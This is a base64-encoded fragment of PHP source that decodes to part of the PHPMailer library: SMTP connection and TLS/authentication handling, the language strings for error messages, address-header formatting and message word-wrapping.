JyYXkoKTsKICAgICAgICAgICAgaWYgKCFwcmVnX21hdGNoKCcvXigoc3NsfHRscyk6XC9cLykqKFthLXpBLVowLTlcLi1dKik6PyhbMC05XSopJC8nLCB0cmltKCRob3N0ZW50cnkpLCAkaG9zdGluZm8pKSB7CiAgICAgICAgICAgICAgICAvLyBOb3QgYSB2YWxpZCBob3N0IGVudHJ5CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICAvLyAkaG9zdGluZm9bMl06IG9wdGlvbmFsIHNzbCBvciB0bHMgcHJlZml4CiAgICAgICAgICAgIC8vICRob3N0aW5mb1szXTogdGhlIGhvc3RuYW1lCiAgICAgICAgICAgIC8vICRob3N0aW5mb1s0XTogb3B0aW9uYWwgcG9ydCBudW1iZXIKICAgICAgICAgICAgLy8gVGhlIGhvc3Qgc3RyaW5nIHByZWZpeCBjYW4gdGVtcG9yYXJpbHkgb3ZlcnJpZGUgdGhlIGN1cnJlbnQgc2V0dGluZyBmb3IgU01UUFNlY3VyZQogICAgICAgICAgICAvLyBJZiBpdCdzIG5vdCBzcGVjaWZpZWQsIHRoZSBkZWZhdWx0IHZhbHVlIGlzIHVzZWQKICAgICAgICAgICAgJHByZWZpeCA9ICcnOwogICAgICAgICAgICAkc2VjdXJlID0gJHRoaXMtPlNNVFBTZWN1cmU7CiAgICAgICAgICAgICR0bHMgPSAoJHRoaXMtPlNNVFBTZWN1cmUgPT0gJ3RscycpOwogICAgICAgICAgICBpZiAoJ3NzbCcgPT0gJGhvc3RpbmZvWzJdIG9yICgnJyA9PSAkaG9zdGluZm9bMl0gYW5kICdzc2wnID09ICR0aGlzLT5TTVRQU2VjdXJlKSkgewogICAgICAgICAgICAgICAgJHByZWZpeCA9ICdzc2w6Ly8nOwogICAgICAgICAgICAgICAgJHRscyA9IGZhbHNlOyAvLyBDYW4ndCBoYXZlIFNTTCBhbmQgVExTIGF0IHRoZSBzYW1lIHRpbWUKICAgICAgICAgICAgICAgICRzZWN1cmUgPSAnc3NsJzsKICAgICAgICAgICAgfSBlbHNlaWYgKCRob3N0aW5mb1syXSA9PSAndGxzJykgewogICAgICAgICAgICAgICAgJHRscyA9IHRydWU7CiAgICAgICAgICAgICAgICAvLyB0bHMgZG9lc24ndCB1c2UgYSBwcmVmaXgKICAgICAgICAgICAgICAgICRzZWN1cmUgPSAndGxzJzsKICAgICAgICAgICAgfQogICAgICAgICAgICAvL0RvIHdlIG5lZWQgdGhlIE9wZW5TU0wgZXh0ZW5zaW9uPwogICAgICAgICAgICAkc3NsZXh0ID0gZGVmaW5lZCgnT1BFTlNTTF9BTEdPX1NIQTEnKTsKICAgICAgICAgICAgaWYgKCd0bHMnID09PSAkc2VjdXJlIG9yICdzc2wnID09PSAkc2VjdXJlKSB7CiAgICAgICAgICAgICAgICAvL0NoZWNrIGZvciBhbiBPcGVuU1NMIGNvbnN0YW50IHJhdGhlciB0aGFuIHVzaW5nIGV4dGVuc2lvbl9sb2FkZWQsIHdoaWNoIGlzIHNvbWV0aW1lcyBkaXNhYmxlZAogICAgICAgICAgICAgICAgaWYgKCEkc3NsZXh0KSB7CiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXh0ZW5zaW9uX21pc3NpbmcnKS4nb3BlbnNzbCcsIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICRob3N0ID0gJGhvc3RpbmZvWzNdOwogICAgICAgICAgICAkcG9ydCA9ICR0aGlzLT5Qb3J0OwogICAgICAgICAgICAkdHBvcnQgPSAoaW50ZWdlcikkaG9zdGluZm9bNF07CiAgICAgICAgICAgIGlmICgkdHBvcnQgPiAwIGFuZCAkdHBvcnQgPCA2NTUzNikgewogICAgICAgICAgICAgICAgJHBvcnQgPSAkdHBvcnQ7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCR0aGlzLT5zbXRwLT5jb25uZWN0KCRwcmVmaXggLiAkaG9zdCwgJHBvcnQsICR0aGlzLT5UaW1lb3V0LCAkb3B0aW9ucykpIHsKICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5IZWxvKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRoZWxsbyA9ICR0aGlzLT5IZWxvOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRoZWxsbyA9ICR0aGlzLT5zZXJ2ZXJIb3N0bmFtZSgpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+aGVsbG8oJGhlbGxvKTsKICAgICAgICAgICAgICAgICAgICAvL0F1dG9tYXRpY2FsbHkgZW5hYmxlIFRMUyBlbmNyeXB0aW9uIGlmOgogICAgICAgICAgICAgICAgICAgIC8vICogaXQncyBub3QgZGlzYWJsZWQKICAgICAgICAgICAgICAgICAgICAvLyAqIHdlIGhhdmUgb3BlbnNzbCBleHRlbnNpb24KICAgICAgICAgICAgICAgICAgICAvLyAqIHdlIGFyZSBub3QgYWxyZWFkeSB1c2luZyBTU0wKICAgICAgICAgICAgICAgICAgICAvLyAqIHRoZSBzZXJ2ZXIgb2ZmZXJzIFNUQVJUVExTCiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5TTVRQQXV0b1RMUyBhbmQgJHNzbGV4dCBhbmQgJHNlY3VyZSAhPSAnc3NsJyBhbmQgJHRoaXMtPnNtdHAtPmdldFNlcnZlckV4dCgnU1RBUlRUTFMnKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkdGxzID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0bHMpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+c210cC0+c3RhcnRUTFMoKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnY29ubmVjdF9ob3N0JykpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIC8vIFdlIG11c3QgcmVzZW5kIEhFTE8gYWZ0ZXIgdGxzIG5lZ290aWF0aW9uCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5zbXRwLT5oZWxsbygkaGVsbG8pOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPlNNVFBBdXRoKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnNtdHAtPmF1dGhlbnRpY2F0ZSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5Vc2VybmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5QYXNzd29yZCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5BdXRoVHlwZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5SZWFsbSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5Xb3Jrc3RhdGlvbgogICAgICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnYXV0aGVudGljYXRlJykpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgICAgICAgICAkbGFzdGV4Y2VwdGlvbiA9ICRleGM7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICAgICAgICAgIC8vIFdlIG11c3QgaGF2ZSBjb25uZWN0ZWQsIGJ1dCB0aGVuIGZhaWxlZCBUTFMgb3IgQXV0aCwgc28gY2xvc2UgY29ubmVjdGlvbiBuaWNlbHkKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+cXVpdCgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIC8vIElmIHdlIGdldCBoZXJlLCBhbGwgY29ubmVjdGlvbiBhdHRlbXB0cyBoYXZlIGZhaWxlZCwgc28gY2xvc2UgY29ubmVjdGlvbiBoYXJkCiAgICAgICAgJHRoaXMtPnNtdHAtPmNsb3NlKCk7CiAgICAgICAgLy8gQXMgd2UndmUgY2F1Z2h0IGFsbCBleGNlcHRpb25zLCBqdXN0IHJlcG9ydCB3aGF0ZXZlciB0aGUgbGFzdCBvbmUgd2FzCiAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zIGFuZCAhaXNfbnVsbCgkbGFzdGV4Y2VwdGlvbikpIHsKICAgICAgICAgICAgdGhyb3cgJGxhc3RleGNlcHRpb247CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICAvKioKICAgICAqIENsb3NlIHRoZSBhY3RpdmUgU01UUCBzZXNzaW9uIGlmIG9uZSBleGlzdHMuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNtdHBDbG9zZSgpCiAgICB7CiAgICAgICAgaWYgKCR0aGlzLT5zbXRwICE9PSBudWxsKSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+c210cC0+Y29ubmVjdGVkKCkpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5zbXRwLT5xdWl0KCk7CiAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+Y2xvc2UoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFNldCB0aGUgbGFuZ3VhZ2UgZm9yIGVycm9yIG1lc3NhZ2VzLgogICAgICogUmV0dXJucyBmYWxzZSBpZiBpdCBjYW5ub3QgbG9hZCB0aGUgbGFuZ3VhZ2UgZmlsZS4KICAgICAqIFRoZSBkZWZhdWx0IGxhbmd1YWdlIGlzIEVuZ2xpc2guCiAgICAgKiBAcGFyYW0gc3RyaW5nICRsYW5nY29kZSBJU08gNjM5LTEgMi1jaGFyYWN0ZXIgbGFuZ3VhZ2UgY29kZSAoZS5nLiBGcmVuY2ggaXMgImZyIikKICAgICAqIEBwYXJhbSBzdHJpbmcgJGxhbmdfcGF0aCBQYXRoIHRvIHRoZSBsYW5ndWFnZSBmaWxlIGRpcmVjdG9yeSwgd2l0aCB0cmFpbGluZyBzZXBhcmF0b3IgKHNsYXNoKQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0TGFuZ3VhZ2UoJGxhbmdjb2RlID0gJ2VuJywgJGxhbmdfcGF0aCA9ICcnKQogICAgewogICAgICAgIC8vIERlZmluZSBmdWxsIHNldCBvZiB0cmFuc2xhdGFibGUgc3RyaW5ncyBpbiBFbmdsaXNoCiAgICAgICAgJFBIUE1BSUxFUl9MQU5HID0gYXJyYXkoCiAgICAgICAgICAgICdhdXRoZW50aWNhdGUnID0+ICdTTVRQIEVycm9yOiBDb3VsZCBub3QgYXV0aGVudGljYXRlLicsCiAgICAgICAgICAgICdjb25uZWN0X2hvc3QnID0+ICdTTVRQIEVycm9yOiBDb3VsZCBub3QgY29ubmVjdCB0byBTTVRQIGhvc3QuJywKICAgICAgICAgICAgJ2RhdGFfbm90X2FjY2VwdGVkJyA9PiAnU01UUCBFcnJvcjogZGF0YSBub3QgYWNjZXB0ZWQuJywKICAgICAgICAgICAgJ2VtcHR5X21lc3NhZ2UnID0+ICdNZXNzYWdlIGJvZHkgZW1wdHknLAogICAgICAgICAgICAnZW5jb2RpbmcnID0+ICdVbmtub3duIGVuY29kaW5nOiAnLAogICAgICAgICAgICAnZXhlY3V0ZScgPT4gJ0NvdWxkIG5vdCBleGVjdXRlOiAnLAogICAgICAgICAgICAnZmlsZV9hY2Nlc3MnID0+ICdDb3VsZCBub3QgYWNjZXNzIGZpbGU6ICcsCiAgICAgICAgICAgICdmaWxlX29wZW4nID0+ICdGaWxlIEVycm9yOiBDb3VsZCBub3Qgb3BlbiBmaWxlOiAnLAogICAgICAgICAgICAnZnJvbV9mYWlsZWQnID0+ICdUaGUgZm9sbG93aW5nIEZyb20gYWRkcmVzcyBmYWlsZWQ6ICcsCiAgICAgICAgICAgICdpbnN0YW50aWF0ZScgPT4gJ0NvdWxkIG5vdCBpbnN0YW50aWF0ZSBtYWlsIGZ1bmN0aW9uLicsCiAgICAgICAgICAgICdpbnZhbGlkX2FkZHJlc3MnID0+ICdJbnZhbGlkIGFkZHJlc3M6ICcsCiAgICAgICAgICAgICdtYWlsZXJfbm90X3N1cHBvcnRlZCcgPT4gJyBtYWlsZXIgaXMgbm90IHN1cHBvcnRlZC4nLAogICAgICAgICAgICAncHJvdmlkZV9hZGRyZXNzJyA9PiAnWW91IG11c3QgcHJvdmlkZSBhdCBsZWFzdCBvbmUgcmVjaXBpZW50IGVtYWlsIGFkZHJlc3MuJywKICAgICAgICAgICAgJ3JlY2lwaWVudHNfZmFpbGVkJyA9PiAnU01UUCBFcnJvcjogVGhlIGZvbGxvd2luZyByZWNpcGllbnRzIGZhaWxlZDogJywKICAgICAgICAgICAgJ3NpZ25pbmcnID0+ICdTaWduaW5nIEVycm9yOiAnLAogICAgICAgICAgICAnc210cF9jb25uZWN0X2ZhaWxlZCcgPT4gJ1NNVFAgY29ubmVjdCgpIGZhaWxlZC4nLAogICAgICAgICAgICAnc210cF9lcnJvcicgPT4gJ1NNVFAgc2VydmVyIGVycm9yOiAnLAogICAgICAgICAgICAndmFyaWFibGVfc2V0JyA9PiAnQ2Fubm90IHNldCBvciByZXNldCB2YXJpYWJsZTogJywKICAgICAgICAgICAgJ2V4dGVuc2lvbl9taXNzaW5nJyA9PiAnRXh0ZW5zaW9uIG1pc3Npbmc6ICcKICAgICAgICApOwogICAgICAgIGlmIChlbXB0eSgkbGFuZ19wYXRoKSkgewogICAgICAgICAgICAvLyBDYWxjdWxhdGUgYW4gYWJzb2x1dGUgcGF0aCBzbyBpdCBjYW4gd29yayBpZiBDV0QgaXMgbm90IGhlcmUKICAgICAgICAgICAgJGxhbmdfcGF0aCA9IGRpcm5hbWUoX19GSUxFX18pLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2xhbmd1YWdlJy4gRElSRUNUT1JZX1NFUEFSQVRPUjsKICAgICAgICB9CiAgICAgICAgJGZvdW5kbGFuZyA9IHRydWU7CiAgICAgICAgJGxhbmdfZmlsZSA9ICRsYW5nX3BhdGggLiAncGhwbWFpbGVyLmxhbmctJyAuICRsYW5nY29kZSAuICcucGhwJzsKICAgICAgICAvLyBUaGVyZSBpcyBubyBFbmdsaXNoIHRyYW5zbGF0aW9uIGZpbGUKICAgICAgICBpZiAoJGxhbmdjb2RlICE9ICdlbicpIHsKICAgICAgICAgICAgLy8gTWFrZSBzdXJlIGxhbmd1YWdlIGZpbGUgcGF0aCBpcyByZWFkYWJsZQogICAgICAgICAgICBpZiAoIWlzX3JlYWRhYmxlKCRsYW5nX2ZpbGUpKSB7CiAgICAgICAgICAgICAgICAkZm91bmRsYW5nID0gZmFsc2U7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAvLyBPdmVyd3JpdGUgbGFuZ3VhZ2Utc3BlY2lmaWMgc3RyaW5ncy4KICAgICAgICAgICAgICAgIC8vIFRoaXMgd2F5IHdlJ2xsIG5ldmVyIGhhdmUgbWlzc2luZyB0cmFuc2xhdGlvbiBrZXlzLgogICAgICAgICAgICAgICAgJGZvdW5kbGFuZyA9IGluY2x1ZGUgJGxhbmdfZmlsZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkdGhpcy0+bGFuZ3VhZ2UgPSAkUEhQTUFJTEVSX0xBTkc7CiAgICAgICAgcmV0dXJuIChib29sZWFuKSRmb3VuZGxhbmc7IC8vIFJldHVybnMgZmFsc2UgaWYgbGFuZ3VhZ2Ugbm90IGZvdW5kCiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIGFycmF5IG9mIHN0cmluZ3MgZm9yIHRoZSBjdXJyZW50IGxhbmd1YWdlLgogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VHJhbnNsYXRpb25zKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmxhbmd1YWdlOwogICAgfQoKICAgIC8qKgogICAgICogQ3JlYXRlIHJlY2lwaWVudCBoZWFkZXJzLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUKICAgICAqIEBwYXJhbSBhcnJheSAkYWRkciBBbiBhcnJheSBvZiByZWNpcGllbnQsCiAgICAgKiB3aGVyZSBlYWNoIHJlY2lwaWVudCBpcyBhIDItZWxlbWVudCBpbmRleGVkIGFycmF5IHdpdGggZWxlbWVudCAwIGNvbnRhaW5pbmcgYW4gYWRkcmVzcwogICAgICogYW5kIGVsZW1lbnQgMSBjb250YWluaW5nIGEgbmFtZSwgbGlrZToKICAgICAqIGFycmF5KGFycmF5KCdqb2VAZXhhbXBsZS5jb20nLCAnSm9lIFVzZXInKSwgYXJyYXkoJ3pvZUBleGFtcGxlLmNvbScsICdab2UgVXNlcicpKQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZHJBcHBlbmQoJHR5cGUsICRhZGRyKQogICAgewogICAgICAgICRhZGRyZXNzZXMgPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRhZGRyIGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICRhZGRyZXNzZXNbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCRhZGRyZXNzKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0eXBlIC4gJzogJyAuIGltcGxvZGUoJywgJywgJGFkZHJlc3NlcykgLiAkdGhpcy0+TEU7CiAgICB9CgogICAgLyoqCiAgICAgKiBGb3JtYXQgYW4gYWRkcmVzcyBmb3IgdXNlIGluIGEgbWVzc2FnZSBoZWFkZXIuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIGFycmF5ICRhZGRyIEEgMi1lbGVtZW50IGluZGV4ZWQgYXJyYXksIGVsZW1lbnQgMCBjb250YWluaW5nIGFuIGFkZHJlc3MsIGVsZW1lbnQgMSBjb250YWluaW5nIGEgbmFtZQogICAgICogICAgICBsaWtlIGFycmF5KCdqb2VAZXhhbXBsZS5jb20nLCAnSm9lIFVzZXInKQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZHJGb3JtYXQoJGFkZHIpCiAgICB7CiAgICAgICAgaWYgKGVtcHR5KCRhZGRyWzFdKSkgeyAvLyBObyBuYW1lIHByb3ZpZGVkCiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2VjdXJlSGVhZGVyKCRhZGRyWzBdKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRhZGRyWzFdKSwgJ3BocmFzZScpIC4gJyA8JyAuICR0aGlzLT5zZWN1cmVIZWFkZXIoCiAgICAgICAgICAgICAgICAkYWRkclswXQogICAgICAgICAgICApIC4gJz4nOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFdvcmQtd3JhcCBtZXNzYWdlLgogICAgICogRm9yIHVzZSB3aXRoIG1haWxlcnMgdGhhdCBkbyBub3QgYXV0b21hdGljYWxseSBwZXJmb3JtIHdyYXBwaW5nCiAgICAgKiBhbmQgZm9yIHF1b3RlZC1wcmludGFibGUgZW5jb2RlZCBtZXNzYWdlcy4KICAgICAqIE9yaWdpbmFsIHdyaXR0ZW4gYnkgcGhpbGlwcGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRtZXNzYWdlIFRoZSBtZXNzYWdlIHRvIHdyYXAKICAgICAqIEBwYXJhbSBpbnRlZ2VyICRsZW5ndGggVGhlIGxpbmUgbGVuZ3RoIHRvIHdyYXAgdG8KICAgICAqIEBwYXJhbSBib29sZWFuICRxcF9tb2RlIFdoZXRoZXIgdG8gcnVuIGluIFF1b3RlZC1QcmludGFibGUgbW9kZQogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiB3cmFwVGV4dCgkbWVzc2FnZSwgJGxlbmd0aCwgJHFwX21vZGUgPSBmYWxzZSkKICAgIHsKICAgICAgICBpZiAoJHFwX21vZGUpIHsKICAgICAgICAgICAgJHNvZnRfYnJlYWsgPSBzcHJpbnRmKCcgPSVzJywgJHRoaXMtPkxFKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkc29mdF9icmVhayA9ICR0aGlzLT5MRTsKICAgICAgICB9CiAgICAgICAgLy8gSWYgdXRmLTggZW5jb2RpbmcgaXMgdXNlZCwgd2Ugd2lsbCBuZWVkIHRvIG1ha2Ugc3VyZSB3ZSBkb24ndAogICAgICAgIC8vIHNwbGl0IG11bHRpYnl0ZSBjaGFyYWN0ZXJzIHdoZW4gd2Ugd3JhcAogICAgICAgICRpc191dGY4ID0gKHN0cnRvbG93ZXIoJHRoaXMtPkNoYXJTZXQpID09ICd1dGYtOCcpOwogICAgICAgICRsZWxlbiA9IHN0cmxlbigkdGhpcy0+TEUpOwogICAgICAgICRjcmxmbGVuID0gc3RybGVuKHNlbGY6OkNSTEYpOwoKICAgICAgICAkbWVzc2FnZSA9ICR0aGlzLT5maXhFT0woJG1lc3NhZ2UpOwogICAgICAgIC8vUmVtb3ZlIGEgdHJhaWxpbmcgbGluZSBicmVhawogICAgICAgIGlmIChzdWJzdHIoJG1lc3NhZ2UsIC0kbGVsZW4pID09ICR0aGlzLT5MRSkgewogICAgICAgICAgICAkbWVzc2FnZSA9IHN1YnN0cigkbWVzc2FnZSwgMCwgLSRsZWxlbik7CiAgICAgICAgfQoKICAgICAgICAvL1NwbGl0IG1lc3NhZ2UgaW50byBsaW5lcwogICAgICAgICRsaW5lcyA9IGV4cGxvZGUoJHRoaXMtPkxFLCAkbWVzc2FnZSk7CiAgICAgICAgLy9NZXNzYWdlIHdpbGwgYmUgcmVidWlsdCBpbiBoZXJlCiAgICAgICAgJG1lc3NhZ2UgPSAnJzsKICAgICAgICBmb3JlYWNoICgkbGluZXMgYXMgJGxpbmUpIHsKICAgICAgICAgICAgJHdvcmRzID0gZXhwbG9kZSgnICcsICRsaW5lKTsKICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgICAkZmlyc3R3b3JkID0gdHJ1ZTsKICAgICAgICAgICAgZm9yZWFjaCAoJHdvcmRzIGFzICR3b3JkKSB7CiAgICAgICAgICAgICAgICBpZiAoJHFwX21vZGUgYW5kIChzdHJsZW4oJHdvcmQpID4gJGxlbmd0aCkpIHsKICAgICAgICAgICAgICAgICAgICAkc3BhY2VfbGVmdCA9ICRsZW5ndGggLSBzdHJsZW4oJGJ1ZikgLSAkY3JsZmxlbjsKICAgICAgICAgICAgICAgICAgICBpZiAoISRmaXJzdHdvcmQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRzcGFjZV9sZWZ0ID4gMjApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkc3BhY2VfbGVmdDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkdGhpcy0+dXRmOENoYXJCb3VuZGFyeSgkd29yZCwgJGxlbik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMSwgMSkgPT0gJz0nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDIsIDEpID09ICc9JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gLT0gMjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXJ0ID0gc3Vic3RyKCR3b3JkLCAwLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3b3JkID0gc3Vic3RyKCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWYgLj0gJyAnIC4gJHBhcnQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gc3ByaW50ZignPSVzJywgc2VsZjo6Q1JMRik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gJHNvZnRfYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB3aGlsZSAoc3RybGVuKCR3b3JkKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRsZW5ndGggPD0gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9ICRsZW5ndGg7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9ICR0aGlzLT51dGY4Q2hhckJvdW5kYXJ5KCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDEsIDEpID09ICc9JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMiwgMSkgPT0gJz0nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGVuIC09IDI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhcnQgPSBzdWJzdHIoJHdvcmQsIDAsICRsZW4pOwogICAgICAgICAgICAgICAgICAgICAgICAkd29yZCA9IHN1YnN0cigkd29yZCwgJGxlbik7CgogICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCR3b3JkKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRwYXJ0IC4gc3ByaW50ZignPSVzJywgc2VsZjo6Q1JMRik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYnVmID0gJHBhcnQ7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRidWZfbyA9ICRidWY7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkZmlyc3R3b3JkKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRidWYgLj0gJyAnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkYnVmIC49ICR3b3JkOwoKICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRidWYpID4gJGxlbmd0aCBhbmQgJGJ1Zl9vICE9ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWZfbyAuICRzb2Z0X2JyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAkYnVmID0gJHdvcmQ7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGZpcnN0d29yZCA9IGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWYgLiBzZWxmOjpDUkxGOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRtZXNzYWdlOwogICAgfQoKICAgIC8qKgogICAgICogRmluZCB0aGUgbGFzdCBjaGFyYWN0ZXIgYm91bmRhcnkgcHJpb3IgdG8gJG1heExlbmd0aCBpbiBhIHV0Zi04CiAgICAgKiBxdW90ZWQtcHJpbnRhYmxlIGVuY29kZWQgc3RyaW5nLgogICAgICogT3JpZ2luYWwgd3JpdHRlbiBieSBDb2xpbiBCcm93bi4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGVkVGV4dCB1dGY